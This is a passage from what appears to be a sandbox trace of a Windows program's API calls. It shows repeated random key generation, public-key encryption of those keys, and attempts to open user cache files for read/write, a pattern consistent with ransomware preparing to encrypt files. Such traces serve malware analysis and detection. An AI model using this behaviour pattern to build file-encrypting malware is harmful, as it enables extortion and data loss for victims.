pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.368] CryptEncrypt (in: hKey=0x35dae90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3cf0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3cf0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.369] GetLastError () returned 0x0 [0174.369] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.369] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000035.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000035.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.369] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0174.371] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.371] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.371] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.371] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.371] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.373] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.373] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.373] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.373] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.373] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.378] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35dae10) returned 1 [0174.378] CryptGetKeyParam (in: hKey=0x35dae10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.379] CryptEncrypt (in: hKey=0x35dae10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3d00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3d00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.379] GetLastError () returned 0x0 [0174.379] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.379] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.384] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35dad50) returned 1 [0174.384] CryptGetKeyParam (in: hKey=0x35dad50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.384] CryptEncrypt (in: hKey=0x35dad50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3d10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3d10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.384] GetLastError () returned 0x0 [0174.384] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.384] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000012.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000012.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.384] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.386] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.386] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.386] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.386] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.386] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0174.388] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.388] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.388] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.388] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.388] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0174.393] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db190) returned 1 [0174.393] CryptGetKeyParam (in: hKey=0x35db190, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.393] CryptEncrypt (in: hKey=0x35db190, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3d20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3d20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.394] GetLastError () returned 0x0 [0174.394] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.394] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0174.398] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35dad90) returned 1 [0174.399] CryptGetKeyParam (in: hKey=0x35dad90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.399] CryptEncrypt (in: hKey=0x35dad90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3d30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3d30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.399] GetLastError () returned 0x0 [0174.399] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.399] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000013.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.400] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.401] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.402] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.402] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.402] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.402] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.403] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.404] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.404] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.404] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.404] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.409] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db3d0) returned 1 [0174.409] CryptGetKeyParam (in: hKey=0x35db3d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.409] CryptEncrypt (in: hKey=0x35db3d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3d40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3d40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.409] GetLastError () returned 0x0 [0174.409] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.409] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0174.414] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db410) returned 1 [0174.414] CryptGetKeyParam (in: hKey=0x35db410, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.414] CryptEncrypt (in: hKey=0x35db410, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3d50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3d50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.415] GetLastError () returned 0x0 [0174.415] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.415] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_1280.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_1280.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.415] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0174.417] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.417] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.417] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.417] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.417] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.419] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.419] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.419] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.419] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.419] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0174.424] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35dacd0) returned 1 [0174.425] CryptGetKeyParam (in: hKey=0x35dacd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.425] CryptEncrypt (in: hKey=0x35dacd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3d60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3d60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.425] GetLastError () returned 0x0 [0174.425] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.425] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.430] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db050) returned 1 [0174.430] CryptGetKeyParam (in: hKey=0x35db050, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.430] CryptEncrypt (in: hKey=0x35db050, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3d70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3d70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.430] GetLastError () returned 0x0 [0174.430] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.430] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_16.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_16.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.430] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.432] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.432] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.432] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.432] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.432] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0174.434] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.434] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.434] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.434] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.435] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.440] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db090) returned 1 [0174.440] CryptGetKeyParam (in: hKey=0x35db090, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.440] CryptEncrypt (in: hKey=0x35db090, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3d80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3d80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.440] GetLastError () returned 0x0 [0174.440] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.440] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0174.445] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db010) returned 1 [0174.445] CryptGetKeyParam (in: hKey=0x35db010, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.445] CryptEncrypt (in: hKey=0x35db010, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3d90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3d90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.445] GetLastError () returned 0x0 [0174.445] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.445] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_1920.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_1920.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.445] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.447] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.448] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.448] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.448] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.448] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.450] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.450] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.450] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.450] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.450] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.456] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db450) returned 1 [0174.456] CryptGetKeyParam (in: hKey=0x35db450, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.456] CryptEncrypt (in: hKey=0x35db450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3da0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3da0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.456] GetLastError () returned 0x0 [0174.456] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.456] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.462] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db0d0) returned 1 [0174.462] CryptGetKeyParam (in: hKey=0x35db0d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.462] CryptEncrypt (in: hKey=0x35db0d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3db0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3db0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.462] GetLastError () returned 0x0 [0174.462] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.462] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_256.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_256.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.462] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0174.464] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.465] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.465] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.465] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.465] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.467] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.467] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.467] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.467] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.467] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.473] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db310) returned 1 [0174.473] CryptGetKeyParam (in: hKey=0x35db310, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.473] CryptEncrypt (in: hKey=0x35db310, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3dc0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3dc0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.473] GetLastError () returned 0x0 [0174.473] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.473] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.478] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db490) returned 1 [0174.478] CryptGetKeyParam (in: hKey=0x35db490, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.478] CryptEncrypt (in: hKey=0x35db490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3dd0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3dd0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.478] GetLastError () returned 0x0 [0174.478] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.478] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_2560.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_2560.db"), 